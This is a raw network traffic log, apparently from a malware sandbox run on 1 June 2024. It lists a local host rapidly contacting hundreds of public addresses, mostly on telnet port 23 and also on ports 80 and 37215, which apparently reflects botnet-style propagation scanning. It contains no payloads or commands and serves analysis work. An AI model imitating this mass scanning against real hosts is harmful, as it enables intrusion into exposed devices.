Jun 1, 2024 18:15:54.227761984 CEST	65001	23	192.168.2.23	137.13.120.180
Jun 1, 2024 18:15:54.227762938 CEST	65001	23	192.168.2.23	146.121.125.70
Jun 1, 2024 18:15:54.227770090 CEST	65001	23	192.168.2.23	176.201.211.163
Jun 1, 2024 18:15:54.227782011 CEST	65001	23	192.168.2.23	182.210.32.216
Jun 1, 2024 18:15:54.227782965 CEST	65001	23	192.168.2.23	213.109.105.180
Jun 1, 2024 18:15:54.227782965 CEST	65001	23	192.168.2.23	91.82.168.215
Jun 1, 2024 18:15:54.227782011 CEST	65001	23	192.168.2.23	142.99.140.251
Jun 1, 2024 18:15:54.227806091 CEST	23	65001	32.20.10.36	192.168.2.23
Jun 1, 2024 18:15:54.227813959 CEST	23	65001	98.252.185.135	192.168.2.23
Jun 1, 2024 18:15:54.227855921 CEST	65001	23	192.168.2.23	32.20.10.36
Jun 1, 2024 18:15:54.227859020 CEST	65001	23	192.168.2.23	98.252.185.135
Jun 1, 2024 18:15:54.228055954 CEST	23	65001	146.174.42.21	192.168.2.23
Jun 1, 2024 18:15:54.228060961 CEST	23	65001	213.71.225.34	192.168.2.23
Jun 1, 2024 18:15:54.228094101 CEST	23	65001	14.149.187.76	192.168.2.23
Jun 1, 2024 18:15:54.228099108 CEST	23	65001	110.11.113.255	192.168.2.23
Jun 1, 2024 18:15:54.228102922 CEST	23	65001	14.243.119.127	192.168.2.23
Jun 1, 2024 18:15:54.228104115 CEST	65001	23	192.168.2.23	146.174.42.21
Jun 1, 2024 18:15:54.228105068 CEST	65001	23	192.168.2.23	213.71.225.34
Jun 1, 2024 18:15:54.228107929 CEST	23	65001	219.11.80.129	192.168.2.23
Jun 1, 2024 18:15:54.228112936 CEST	23	65001	60.63.255.170	192.168.2.23
Jun 1, 2024 18:15:54.228148937 CEST	65001	23	192.168.2.23	110.11.113.255
Jun 1, 2024 18:15:54.228151083 CEST	23	65001	95.208.167.139	192.168.2.23
Jun 1, 2024 18:15:54.228153944 CEST	65001	23	192.168.2.23	14.149.187.76
Jun 1, 2024 18:15:54.228157043 CEST	23	65001	43.130.112.90	192.168.2.23
Jun 1, 2024 18:15:54.228159904 CEST	65001	23	192.168.2.23	60.63.255.170
Jun 1, 2024 18:15:54.228159904 CEST	65001	23	192.168.2.23	219.11.80.129
Jun 1, 2024 18:15:54.228162050 CEST	23	65001	166.33.126.36	192.168.2.23
Jun 1, 2024 18:15:54.228163004 CEST	65001	23	192.168.2.23	14.243.119.127
Jun 1, 2024 18:15:54.228168011 CEST	23	65001	83.200.161.207	192.168.2.23
Jun 1, 2024 18:15:54.228173018 CEST	23	65001	199.42.0.100	192.168.2.23
Jun 1, 2024 18:15:54.228179932 CEST	23	65001	154.195.41.33	192.168.2.23
Jun 1, 2024 18:15:54.228187084 CEST	23	65001	64.172.104.149	192.168.2.23
Jun 1, 2024 18:15:54.228219032 CEST	65001	23	192.168.2.23	43.130.112.90
Jun 1, 2024 18:15:54.228224039 CEST	65001	23	192.168.2.23	199.42.0.100
Jun 1, 2024 18:15:54.228224039 CEST	65001	23	192.168.2.23	154.195.41.33
Jun 1, 2024 18:15:54.228224993 CEST	65001	23	192.168.2.23	95.208.167.139
Jun 1, 2024 18:15:54.228234053 CEST	65001	23	192.168.2.23	166.33.126.36
Jun 1, 2024 18:15:54.228234053 CEST	65001	23	192.168.2.23	64.172.104.149
Jun 1, 2024 18:15:54.228236914 CEST	65001	23	192.168.2.23	83.200.161.207
Jun 1, 2024 18:15:54.228512049 CEST	23	65001	181.58.182.152	192.168.2.23
Jun 1, 2024 18:15:54.228518963 CEST	23	65001	196.66.204.157	192.168.2.23
Jun 1, 2024 18:15:54.228523016 CEST	23	65001	59.32.202.90	192.168.2.23
Jun 1, 2024 18:15:54.228535891 CEST	23	65001	201.51.96.17	192.168.2.23
Jun 1, 2024 18:15:54.228540897 CEST	23	65001	154.170.59.126	192.168.2.23
Jun 1, 2024 18:15:54.228554010 CEST	65001	23	192.168.2.23	181.58.182.152
Jun 1, 2024 18:15:54.228559971 CEST	65001	23	192.168.2.23	196.66.204.157
Jun 1, 2024 18:15:54.228563070 CEST	23	65001	59.244.93.206	192.168.2.23
Jun 1, 2024 18:15:54.228565931 CEST	65001	23	192.168.2.23	59.32.202.90
Jun 1, 2024 18:15:54.228569031 CEST	23	65001	35.86.173.82	192.168.2.23
Jun 1, 2024 18:15:54.228579998 CEST	23	65001	179.88.26.180	192.168.2.23
Jun 1, 2024 18:15:54.228583097 CEST	65001	23	192.168.2.23	201.51.96.17
Jun 1, 2024 18:15:54.228583097 CEST	65001	23	192.168.2.23	154.170.59.126
Jun 1, 2024 18:15:54.228606939 CEST	65001	23	192.168.2.23	35.86.173.82
Jun 1, 2024 18:15:54.228611946 CEST	65001	23	192.168.2.23	59.244.93.206
Jun 1, 2024 18:15:54.228630066 CEST	65001	23	192.168.2.23	179.88.26.180
Jun 1, 2024 18:15:54.229007006 CEST	23	65001	12.55.26.120	192.168.2.23
Jun 1, 2024 18:15:54.229012966 CEST	23	65001	166.146.93.207	192.168.2.23
Jun 1, 2024 18:15:54.229027033 CEST	23	65001	123.114.128.4	192.168.2.23
Jun 1, 2024 18:15:54.229032040 CEST	23	65001	50.169.77.182	192.168.2.23
Jun 1, 2024 18:15:54.229057074 CEST	23	65001	130.154.40.90	192.168.2.23
Jun 1, 2024 18:15:54.229059935 CEST	65001	23	192.168.2.23	166.146.93.207
Jun 1, 2024 18:15:54.229060888 CEST	65001	23	192.168.2.23	12.55.26.120
Jun 1, 2024 18:15:54.229060888 CEST	65001	23	192.168.2.23	50.169.77.182
Jun 1, 2024 18:15:54.229062080 CEST	23	65001	50.169.30.120	192.168.2.23
Jun 1, 2024 18:15:54.229069948 CEST	23	65001	45.83.127.175	192.168.2.23
Jun 1, 2024 18:15:54.229074955 CEST	23	65001	70.57.206.29	192.168.2.23
Jun 1, 2024 18:15:54.229075909 CEST	65001	23	192.168.2.23	123.114.128.4
Jun 1, 2024 18:15:54.229085922 CEST	23	65001	194.232.212.138	192.168.2.23
Jun 1, 2024 18:15:54.229096889 CEST	23	65001	118.124.117.171	192.168.2.23
Jun 1, 2024 18:15:54.229099989 CEST	65001	23	192.168.2.23	50.169.30.120
Jun 1, 2024 18:15:54.229099989 CEST	65001	23	192.168.2.23	130.154.40.90
Jun 1, 2024 18:15:54.229103088 CEST	23	65001	31.183.211.53	192.168.2.23
Jun 1, 2024 18:15:54.229108095 CEST	23	65001	120.157.196.203	192.168.2.23
Jun 1, 2024 18:15:54.229114056 CEST	23	65001	36.164.181.71	192.168.2.23
Jun 1, 2024 18:15:54.229115963 CEST	65001	23	192.168.2.23	70.57.206.29
Jun 1, 2024 18:15:54.229120016 CEST	23	65001	67.123.5.52	192.168.2.23
Jun 1, 2024 18:15:54.229120016 CEST	65001	23	192.168.2.23	45.83.127.175
Jun 1, 2024 18:15:54.229127884 CEST	65001	23	192.168.2.23	194.232.212.138
Jun 1, 2024 18:15:54.229135036 CEST	65001	23	192.168.2.23	120.157.196.203
Jun 1, 2024 18:15:54.229136944 CEST	23	65001	210.41.197.216	192.168.2.23
Jun 1, 2024 18:15:54.229137897 CEST	65001	23	192.168.2.23	118.124.117.171
Jun 1, 2024 18:15:54.229142904 CEST	23	65001	172.50.251.31	192.168.2.23
Jun 1, 2024 18:15:54.229146004 CEST	65001	23	192.168.2.23	31.183.211.53
Jun 1, 2024 18:15:54.229147911 CEST	23	65001	156.116.181.64	192.168.2.23
Jun 1, 2024 18:15:54.229146004 CEST	65001	23	192.168.2.23	36.164.181.71
Jun 1, 2024 18:15:54.229146004 CEST	65001	23	192.168.2.23	67.123.5.52
Jun 1, 2024 18:15:54.229157925 CEST	23	65001	80.90.243.191	192.168.2.23
Jun 1, 2024 18:15:54.229172945 CEST	65001	23	192.168.2.23	210.41.197.216
Jun 1, 2024 18:15:54.229186058 CEST	65001	23	192.168.2.23	172.50.251.31
Jun 1, 2024 18:15:54.229186058 CEST	65001	23	192.168.2.23	156.116.181.64
Jun 1, 2024 18:15:54.229195118 CEST	65001	23	192.168.2.23	80.90.243.191
Jun 1, 2024 18:15:54.229298115 CEST	23	65001	165.215.158.152	192.168.2.23
Jun 1, 2024 18:15:54.229387999 CEST	65001	23	192.168.2.23	165.215.158.152
Jun 1, 2024 18:15:54.229568005 CEST	23	65001	43.229.37.50	192.168.2.23
Jun 1, 2024 18:15:54.229604006 CEST	23	65001	97.255.10.199	192.168.2.23
Jun 1, 2024 18:15:54.229609966 CEST	23	65001	191.122.58.217	192.168.2.23
Jun 1, 2024 18:15:54.229614019 CEST	23	65001	27.205.9.55	192.168.2.23
Jun 1, 2024 18:15:54.229619026 CEST	23	65001	111.167.124.199	192.168.2.23
Jun 1, 2024 18:15:54.229621887 CEST	65001	23	192.168.2.23	43.229.37.50
Jun 1, 2024 18:15:54.229645967 CEST	23	65001	91.213.75.161	192.168.2.23
Jun 1, 2024 18:15:54.229646921 CEST	65001	23	192.168.2.23	97.255.10.199
Jun 1, 2024 18:15:54.229651928 CEST	23	65001	199.232.10.175	192.168.2.23
Jun 1, 2024 18:15:54.229652882 CEST	65001	23	192.168.2.23	27.205.9.55
Jun 1, 2024 18:15:54.229655027 CEST	65001	23	192.168.2.23	111.167.124.199
Jun 1, 2024 18:15:54.229657888 CEST	23	65001	110.13.110.67	192.168.2.23
Jun 1, 2024 18:15:54.229659081 CEST	65001	23	192.168.2.23	191.122.58.217
Jun 1, 2024 18:15:54.229662895 CEST	23	65001	134.253.109.66	192.168.2.23
Jun 1, 2024 18:15:54.229667902 CEST	23	65001	74.138.100.30	192.168.2.23
Jun 1, 2024 18:15:54.229680061 CEST	65001	23	192.168.2.23	91.213.75.161
Jun 1, 2024 18:15:54.229681015 CEST	23	65001	95.205.176.23	192.168.2.23
Jun 1, 2024 18:15:54.229685068 CEST	65001	23	192.168.2.23	110.13.110.67
Jun 1, 2024 18:15:54.229686975 CEST	23	65001	170.229.60.229	192.168.2.23
Jun 1, 2024 18:15:54.229691029 CEST	65001	23	192.168.2.23	199.232.10.175
Jun 1, 2024 18:15:54.229701042 CEST	23	65001	208.10.141.148	192.168.2.23
Jun 1, 2024 18:15:54.229707003 CEST	23	65001	2.38.22.137	192.168.2.23
Jun 1, 2024 18:15:54.229707956 CEST	65001	23	192.168.2.23	74.138.100.30
Jun 1, 2024 18:15:54.229712009 CEST	23	65001	217.224.213.49	192.168.2.23
Jun 1, 2024 18:15:54.229711056 CEST	65001	23	192.168.2.23	134.253.109.66
Jun 1, 2024 18:15:54.229718924 CEST	65001	23	192.168.2.23	170.229.60.229
Jun 1, 2024 18:15:54.229722023 CEST	23	65001	169.133.55.117	192.168.2.23
Jun 1, 2024 18:15:54.229722023 CEST	65001	23	192.168.2.23	95.205.176.23
Jun 1, 2024 18:15:54.229727030 CEST	23	65001	166.160.21.87	192.168.2.23
Jun 1, 2024 18:15:54.229737043 CEST	65001	23	192.168.2.23	208.10.141.148
Jun 1, 2024 18:15:54.229737997 CEST	23	65001	212.134.249.112	192.168.2.23
Jun 1, 2024 18:15:54.229738951 CEST	65001	23	192.168.2.23	217.224.213.49
Jun 1, 2024 18:15:54.229743958 CEST	65001	23	192.168.2.23	2.38.22.137
Jun 1, 2024 18:15:54.229744911 CEST	23	65001	172.47.49.71	192.168.2.23
Jun 1, 2024 18:15:54.229758978 CEST	23	65001	81.41.5.171	192.168.2.23
Jun 1, 2024 18:15:54.229762077 CEST	65001	23	192.168.2.23	166.160.21.87
Jun 1, 2024 18:15:54.229763031 CEST	65001	23	192.168.2.23	169.133.55.117
Jun 1, 2024 18:15:54.229763985 CEST	23	65001	211.220.134.5	192.168.2.23
Jun 1, 2024 18:15:54.229774952 CEST	23	65001	65.213.225.136	192.168.2.23
Jun 1, 2024 18:15:54.229780912 CEST	23	65001	70.27.240.248	192.168.2.23
Jun 1, 2024 18:15:54.229784966 CEST	23	65001	121.110.77.143	192.168.2.23
Jun 1, 2024 18:15:54.229787111 CEST	65001	23	192.168.2.23	172.47.49.71
Jun 1, 2024 18:15:54.229787111 CEST	65001	23	192.168.2.23	212.134.249.112
Jun 1, 2024 18:15:54.229796886 CEST	65001	23	192.168.2.23	211.220.134.5
Jun 1, 2024 18:15:54.229804039 CEST	65001	23	192.168.2.23	65.213.225.136
Jun 1, 2024 18:15:54.229804039 CEST	65001	23	192.168.2.23	70.27.240.248
Jun 1, 2024 18:15:54.229805946 CEST	65001	23	192.168.2.23	81.41.5.171
Jun 1, 2024 18:15:54.229835033 CEST	65001	23	192.168.2.23	121.110.77.143
Jun 1, 2024 18:15:54.230220079 CEST	23	65001	197.60.240.140	192.168.2.23
Jun 1, 2024 18:15:54.230226040 CEST	23	65001	181.159.246.158	192.168.2.23
Jun 1, 2024 18:15:54.230237961 CEST	23	65001	129.169.178.174	192.168.2.23
Jun 1, 2024 18:15:54.230264902 CEST	65001	23	192.168.2.23	181.159.246.158
Jun 1, 2024 18:15:54.230272055 CEST	65001	23	192.168.2.23	197.60.240.140
Jun 1, 2024 18:15:54.230297089 CEST	65001	23	192.168.2.23	129.169.178.174
Jun 1, 2024 18:15:54.230396986 CEST	23	65001	154.61.33.110	192.168.2.23
Jun 1, 2024 18:15:54.230411053 CEST	23	65001	83.193.3.94	192.168.2.23
Jun 1, 2024 18:15:54.230415106 CEST	23	65001	132.233.96.70	192.168.2.23
Jun 1, 2024 18:15:54.230439901 CEST	65001	23	192.168.2.23	154.61.33.110
Jun 1, 2024 18:15:54.230439901 CEST	65001	23	192.168.2.23	83.193.3.94
Jun 1, 2024 18:15:54.230449915 CEST	65001	23	192.168.2.23	132.233.96.70
Jun 1, 2024 18:15:54.230675936 CEST	23	65001	62.160.205.76	192.168.2.23
Jun 1, 2024 18:15:54.230681896 CEST	23	65001	84.10.232.154	192.168.2.23
Jun 1, 2024 18:15:54.230691910 CEST	23	65001	122.187.2.118	192.168.2.23
Jun 1, 2024 18:15:54.230696917 CEST	23	65001	37.168.163.229	192.168.2.23
Jun 1, 2024 18:15:54.230703115 CEST	23	65001	35.68.88.44	192.168.2.23
Jun 1, 2024 18:15:54.230706930 CEST	23	65001	108.155.164.213	192.168.2.23
Jun 1, 2024 18:15:54.230719090 CEST	23	65001	210.95.55.222	192.168.2.23
Jun 1, 2024 18:15:54.230724096 CEST	23	65001	95.66.104.59	192.168.2.23
Jun 1, 2024 18:15:54.230724096 CEST	65001	23	192.168.2.23	122.187.2.118
Jun 1, 2024 18:15:54.230729103 CEST	23	65001	48.3.232.227	192.168.2.23
Jun 1, 2024 18:15:54.230729103 CEST	65001	23	192.168.2.23	62.160.205.76
Jun 1, 2024 18:15:54.230732918 CEST	23	65001	145.238.74.206	192.168.2.23
Jun 1, 2024 18:15:54.230739117 CEST	23	65001	139.211.61.111	192.168.2.23
Jun 1, 2024 18:15:54.230739117 CEST	65001	23	192.168.2.23	84.10.232.154
Jun 1, 2024 18:15:54.230746984 CEST	65001	23	192.168.2.23	37.168.163.229
Jun 1, 2024 18:15:54.230750084 CEST	65001	23	192.168.2.23	35.68.88.44
Jun 1, 2024 18:15:54.230750084 CEST	65001	23	192.168.2.23	108.155.164.213
Jun 1, 2024 18:15:54.230755091 CEST	65001	23	192.168.2.23	210.95.55.222
Jun 1, 2024 18:15:54.230763912 CEST	65001	23	192.168.2.23	95.66.104.59
Jun 1, 2024 18:15:54.230767965 CEST	65001	23	192.168.2.23	48.3.232.227
Jun 1, 2024 18:15:54.230786085 CEST	65001	23	192.168.2.23	145.238.74.206
Jun 1, 2024 18:15:54.230792046 CEST	65001	23	192.168.2.23	139.211.61.111
Jun 1, 2024 18:15:54.231044054 CEST	23	65001	44.188.57.47	192.168.2.23
Jun 1, 2024 18:15:54.231061935 CEST	23	65001	44.72.12.140	192.168.2.23
Jun 1, 2024 18:15:54.231066942 CEST	23	65001	53.38.173.49	192.168.2.23
Jun 1, 2024 18:15:54.231112003 CEST	23	65001	49.129.73.154	192.168.2.23
Jun 1, 2024 18:15:54.231115103 CEST	65001	23	192.168.2.23	44.72.12.140
Jun 1, 2024 18:15:54.231117010 CEST	23	65001	18.5.212.163	192.168.2.23
Jun 1, 2024 18:15:54.231126070 CEST	65001	23	192.168.2.23	53.38.173.49
Jun 1, 2024 18:15:54.231127977 CEST	23	65001	142.186.191.202	192.168.2.23
Jun 1, 2024 18:15:54.231128931 CEST	65001	23	192.168.2.23	44.188.57.47
Jun 1, 2024 18:15:54.231132984 CEST	23	65001	157.211.243.177	192.168.2.23
Jun 1, 2024 18:15:54.231144905 CEST	23	65001	43.253.103.37	192.168.2.23
Jun 1, 2024 18:15:54.231149912 CEST	23	65001	207.104.121.156	192.168.2.23
Jun 1, 2024 18:15:54.231153965 CEST	23	65001	132.214.103.187	192.168.2.23
Jun 1, 2024 18:15:54.231154919 CEST	65001	23	192.168.2.23	49.129.73.154
Jun 1, 2024 18:15:54.231154919 CEST	65001	23	192.168.2.23	18.5.212.163
Jun 1, 2024 18:15:54.231159925 CEST	65001	23	192.168.2.23	157.211.243.177
Jun 1, 2024 18:15:54.231167078 CEST	65001	23	192.168.2.23	142.186.191.202
Jun 1, 2024 18:15:54.231169939 CEST	65001	23	192.168.2.23	207.104.121.156
Jun 1, 2024 18:15:54.231178999 CEST	65001	23	192.168.2.23	43.253.103.37
Jun 1, 2024 18:15:54.231180906 CEST	65001	23	192.168.2.23	132.214.103.187
Jun 1, 2024 18:15:54.231184959 CEST	23	65001	141.212.221.82	192.168.2.23
Jun 1, 2024 18:15:54.231190920 CEST	23	65001	210.52.103.0	192.168.2.23
Jun 1, 2024 18:15:54.231195927 CEST	23	65001	96.113.6.71	192.168.2.23
Jun 1, 2024 18:15:54.231200933 CEST	23	65001	164.220.134.67	192.168.2.23
Jun 1, 2024 18:15:54.231210947 CEST	23	65001	131.7.167.209	192.168.2.23
Jun 1, 2024 18:15:54.231215954 CEST	23	65001	104.82.129.248	192.168.2.23
Jun 1, 2024 18:15:54.231219053 CEST	65001	23	192.168.2.23	210.52.103.0
Jun 1, 2024 18:15:54.231225967 CEST	23	65001	131.115.77.66	192.168.2.23
Jun 1, 2024 18:15:54.231231928 CEST	23	65001	76.179.119.63	192.168.2.23
Jun 1, 2024 18:15:54.231234074 CEST	65001	23	192.168.2.23	96.113.6.71
Jun 1, 2024 18:15:54.231235981 CEST	23	65001	99.212.234.138	192.168.2.23
Jun 1, 2024 18:15:54.231237888 CEST	65001	23	192.168.2.23	141.212.221.82
Jun 1, 2024 18:15:54.231246948 CEST	65001	23	192.168.2.23	164.220.134.67
Jun 1, 2024 18:15:54.231252909 CEST	65001	23	192.168.2.23	131.7.167.209
Jun 1, 2024 18:15:54.231256962 CEST	65001	23	192.168.2.23	104.82.129.248
Jun 1, 2024 18:15:54.231261969 CEST	65001	23	192.168.2.23	131.115.77.66
Jun 1, 2024 18:15:54.231268883 CEST	65001	23	192.168.2.23	76.179.119.63
Jun 1, 2024 18:15:54.231271029 CEST	65001	23	192.168.2.23	99.212.234.138
Jun 1, 2024 18:15:54.231368065 CEST	23	65001	110.58.113.102	192.168.2.23
Jun 1, 2024 18:15:54.231434107 CEST	65001	23	192.168.2.23	110.58.113.102
Jun 1, 2024 18:15:54.231587887 CEST	23	65001	128.184.166.182	192.168.2.23
Jun 1, 2024 18:15:54.231592894 CEST	23	65001	40.122.20.175	192.168.2.23
Jun 1, 2024 18:15:54.231602907 CEST	23	65001	221.142.57.162	192.168.2.23
Jun 1, 2024 18:15:54.231632948 CEST	23	65001	14.30.83.246	192.168.2.23
Jun 1, 2024 18:15:54.231637955 CEST	23	65001	183.221.29.201	192.168.2.23
Jun 1, 2024 18:15:54.231647968 CEST	65001	23	192.168.2.23	128.184.166.182
Jun 1, 2024 18:15:54.231648922 CEST	23	65001	74.191.78.120	192.168.2.23
Jun 1, 2024 18:15:54.231650114 CEST	65001	23	192.168.2.23	40.122.20.175
Jun 1, 2024 18:15:54.231664896 CEST	23	65001	77.238.30.117	192.168.2.23
Jun 1, 2024 18:15:54.231666088 CEST	65001	23	192.168.2.23	221.142.57.162
Jun 1, 2024 18:15:54.231671095 CEST	23	65001	140.236.16.200	192.168.2.23
Jun 1, 2024 18:15:54.231673956 CEST	65001	23	192.168.2.23	14.30.83.246
Jun 1, 2024 18:15:54.231676102 CEST	23	65001	111.149.78.248	192.168.2.23
Jun 1, 2024 18:15:54.231681108 CEST	23	65001	42.164.66.249	192.168.2.23
Jun 1, 2024 18:15:54.231684923 CEST	23	65001	9.17.90.209	192.168.2.23
Jun 1, 2024 18:15:54.231687069 CEST	65001	23	192.168.2.23	183.221.29.201
Jun 1, 2024 18:15:54.231687069 CEST	65001	23	192.168.2.23	74.191.78.120
Jun 1, 2024 18:15:54.231695890 CEST	23	65001	218.197.135.65	192.168.2.23
Jun 1, 2024 18:15:54.231700897 CEST	23	65001	9.195.97.158	192.168.2.23
Jun 1, 2024 18:15:54.231707096 CEST	65001	23	192.168.2.23	77.238.30.117
Jun 1, 2024 18:15:54.231709003 CEST	65001	23	192.168.2.23	140.236.16.200
Jun 1, 2024 18:15:54.231710911 CEST	65001	23	192.168.2.23	42.164.66.249
Jun 1, 2024 18:15:54.231718063 CEST	65001	23	192.168.2.23	111.149.78.248
Jun 1, 2024 18:15:54.231729984 CEST	65001	23	192.168.2.23	9.17.90.209
Jun 1, 2024 18:15:54.231739998 CEST	65001	23	192.168.2.23	218.197.135.65
Jun 1, 2024 18:15:54.231739998 CEST	65001	23	192.168.2.23	9.195.97.158
Jun 1, 2024 18:15:54.232075930 CEST	23	65001	207.215.122.209	192.168.2.23
Jun 1, 2024 18:15:54.232080936 CEST	23	65001	60.136.116.177	192.168.2.23
Jun 1, 2024 18:15:54.232104063 CEST	23	65001	59.3.58.236	192.168.2.23
Jun 1, 2024 18:15:54.232109070 CEST	23	65001	189.44.18.22	192.168.2.23
Jun 1, 2024 18:15:54.232114077 CEST	23	65001	8.139.36.136	192.168.2.23
Jun 1, 2024 18:15:54.232122898 CEST	65001	23	192.168.2.23	207.215.122.209
Jun 1, 2024 18:15:54.232122898 CEST	65001	23	192.168.2.23	60.136.116.177
Jun 1, 2024 18:15:54.232124090 CEST	23	65001	94.197.3.138	192.168.2.23
Jun 1, 2024 18:15:54.232130051 CEST	23	65001	97.168.170.110	192.168.2.23
Jun 1, 2024 18:15:54.232141972 CEST	23	65001	41.84.160.244	192.168.2.23
Jun 1, 2024 18:15:54.232141972 CEST	65001	23	192.168.2.23	59.3.58.236
Jun 1, 2024 18:15:54.232141972 CEST	65001	23	192.168.2.23	189.44.18.22
Jun 1, 2024 18:15:54.232146978 CEST	23	65001	71.37.205.122	192.168.2.23
Jun 1, 2024 18:15:54.232155085 CEST	65001	23	192.168.2.23	8.139.36.136
Jun 1, 2024 18:15:54.232163906 CEST	65001	23	192.168.2.23	97.168.170.110
Jun 1, 2024 18:15:54.232167006 CEST	65001	23	192.168.2.23	94.197.3.138
Jun 1, 2024 18:15:54.232182026 CEST	65001	23	192.168.2.23	41.84.160.244
Jun 1, 2024 18:15:54.232196093 CEST	65001	23	192.168.2.23	71.37.205.122
Jun 1, 2024 18:15:54.232501030 CEST	58698	23	192.168.2.23	136.187.8.197
Jun 1, 2024 18:15:54.232502937 CEST	49004	23	192.168.2.23	130.9.55.100
Jun 1, 2024 18:15:54.232502937 CEST	50510	80	192.168.2.23	80.104.124.102
Jun 1, 2024 18:15:54.232517004 CEST	52620	23	192.168.2.23	117.224.47.123
Jun 1, 2024 18:15:54.232517958 CEST	40252	80	192.168.2.23	113.86.73.72
Jun 1, 2024 18:15:54.232517004 CEST	53428	80	192.168.2.23	23.106.117.199
Jun 1, 2024 18:15:54.232523918 CEST	41296	37215	192.168.2.23	197.189.238.220
Jun 1, 2024 18:15:54.232532024 CEST	43922	80	192.168.2.23	140.67.65.69
Jun 1, 2024 18:15:54.232532024 CEST	43720	80	192.168.2.23	176.135.116.139
Jun 1, 2024 18:15:54.232533932 CEST	37588	80	192.168.2.23	212.34.153.120
Jun 1, 2024 18:15:54.232541084 CEST	43640	80	192.168.2.23	123.15.159.153
Jun 1, 2024 18:15:54.232547045 CEST	54410	80	192.168.2.23	38.215.187.250
Jun 1, 2024 18:15:54.232554913 CEST	32954	80	192.168.2.23	154.112.153.187
Jun 1, 2024 18:15:54.232563972 CEST	47712	80	192.168.2.23	87.44.98.223
Jun 1, 2024 18:15:54.232567072 CEST	58966	37215	192.168.2.23	156.212.207.12
Jun 1, 2024 18:15:54.232574940 CEST	56290	37215	192.168.2.23	197.25.244.85
Jun 1, 2024 18:15:54.232578039 CEST	54946	23	192.168.2.23	128.32.85.50
Jun 1, 2024 18:15:54.232582092 CEST	36314	23	192.168.2.23	199.78.178.156
Jun 1, 2024 18:15:54.232594967 CEST	48236	37215	192.168.2.23	197.159.86.205
Jun 1, 2024 18:15:54.232599974 CEST	53702	23	192.168.2.23	48.30.4.182
Jun 1, 2024 18:15:54.232599974 CEST	46094	23	192.168.2.23	113.38.78.166
Jun 1, 2024 18:15:54.232609987 CEST	38024	23	192.168.2.23	167.46.230.199
Jun 1, 2024 18:15:54.232611895 CEST	52420	37215	192.168.2.23	41.169.149.73
Jun 1, 2024 18:15:54.232611895 CEST	57740	23	192.168.2.23	178.119.205.61
Jun 1, 2024 18:15:54.232615948 CEST	47722	23	192.168.2.23	172.191.157.254
Jun 1, 2024 18:15:54.232615948 CEST	57462	23	192.168.2.23	51.6.229.229
Jun 1, 2024 18:15:54.232624054 CEST	47668	37215	192.168.2.23	41.148.200.185
Jun 1, 2024 18:15:54.232633114 CEST	54596	23	192.168.2.23	132.224.137.180
Jun 1, 2024 18:15:54.232640982 CEST	60704	23	192.168.2.23	65.51.161.208
Jun 1, 2024 18:15:54.232640982 CEST	58048	37215	192.168.2.23	197.126.155.107
Jun 1, 2024 18:15:54.232644081 CEST	47530	23	192.168.2.23	202.133.138.181
Jun 1, 2024 18:15:54.232640982 CEST	41162	23	192.168.2.23	149.9.216.222
Jun 1, 2024 18:15:54.232662916 CEST	46792	23	192.168.2.23	204.0.209.183
Jun 1, 2024 18:15:54.232667923 CEST	42542	23	192.168.2.23	92.52.22.109
Jun 1, 2024 18:15:54.232667923 CEST	45918	37215	192.168.2.23	197.35.183.52
Jun 1, 2024 18:15:54.232670069 CEST	39642	37215	192.168.2.23	41.89.44.248
Jun 1, 2024 18:15:54.232675076 CEST	36784	23	192.168.2.23	205.39.0.21
Jun 1, 2024 18:15:54.232677937 CEST	54564	23	192.168.2.23	124.12.234.123
Jun 1, 2024 18:15:54.232677937 CEST	52628	23	192.168.2.23	201.93.246.235
Jun 1, 2024 18:15:54.232677937 CEST	50350	23	192.168.2.23	50.193.59.167
Jun 1, 2024 18:15:54.232692003 CEST	50554	23	192.168.2.23	20.170.84.75
Jun 1, 2024 18:15:54.232692957 CEST	33060	23	192.168.2.23	200.31.243.232
Jun 1, 2024 18:15:54.232692957 CEST	52486	80	192.168.2.23	173.159.67.38
Jun 1, 2024 18:15:54.232697964 CEST	42684	37215	192.168.2.23	41.110.8.29
Jun 1, 2024 18:15:54.232700109 CEST	55828	80	192.168.2.23	219.126.2.77
Jun 1, 2024 18:15:54.232700109 CEST	44626	80	192.168.2.23	193.173.191.129
Jun 1, 2024 18:15:54.232700109 CEST	38036	80	192.168.2.23	177.196.212.25
Jun 1, 2024 18:15:54.232701063 CEST	44092	80	192.168.2.23	98.147.145.185
Jun 1, 2024 18:15:54.232731104 CEST	34684	37215	192.168.2.23	197.65.247.219
Jun 1, 2024 18:15:54.232743979 CEST	43954	37215	192.168.2.23	156.91.55.119
Jun 1, 2024 18:15:54.232762098 CEST	42944	37215	192.168.2.23	41.161.83.34
Jun 1, 2024 18:15:54.232780933 CEST	58096	37215	192.168.2.23	156.112.166.96
Jun 1, 2024 18:15:54.232799053 CEST	44642	37215	192.168.2.23	156.23.230.69
Jun 1, 2024 18:15:54.232810020 CEST	39782	37215	192.168.2.23	41.93.142.139
Jun 1, 2024 18:15:54.232831955 CEST	46024	37215	192.168.2.23	156.8.32.149
Jun 1, 2024 18:15:54.232848883 CEST	55562	37215	192.168.2.23	156.207.94.97
Jun 1, 2024 18:15:54.232872963 CEST	37980	37215	192.168.2.23	197.18.253.163
Jun 1, 2024 18:15:54.232883930 CEST	59608	37215	192.168.2.23	156.3.243.152
Jun 1, 2024 18:15:54.232911110 CEST	52106	37215	192.168.2.23	156.93.240.94
Jun 1, 2024 18:15:54.232934952 CEST	35120	37215	192.168.2.23	156.220.101.161
Jun 1, 2024 18:15:54.232939959 CEST	50112	37215	192.168.2.23	41.14.133.63
Jun 1, 2024 18:15:54.232949018 CEST	42030	37215	192.168.2.23	197.154.217.12
Jun 1, 2024 18:15:54.232969046 CEST	45198	37215	192.168.2.23	156.145.248.27
Jun 1, 2024 18:15:54.232981920 CEST	49428	37215	192.168.2.23	197.138.249.73
Jun 1, 2024 18:15:54.232994080 CEST	36686	37215	192.168.2.23	197.78.230.78
Jun 1, 2024 18:15:54.233012915 CEST	33038	37215	192.168.2.23	41.208.140.239
Jun 1, 2024 18:15:54.233031034 CEST	54932	37215	192.168.2.23	197.202.250.38
Jun 1, 2024 18:15:54.233056068 CEST	55144	37215	192.168.2.23	41.0.162.73
Jun 1, 2024 18:15:54.233059883 CEST	37215	51176	41.144.59.161	192.168.2.23
Jun 1, 2024 18:15:54.233067989 CEST	37215	51288	156.122.101.93	192.168.2.23
Jun 1, 2024 18:15:54.233076096 CEST	37215	53482	41.13.150.2	192.168.2.23
Jun 1, 2024 18:15:54.233079910 CEST	50018	37215	192.168.2.23	197.215.229.110
Jun 1, 2024 18:15:54.233083963 CEST	49882	37215	192.168.2.23	197.121.136.81
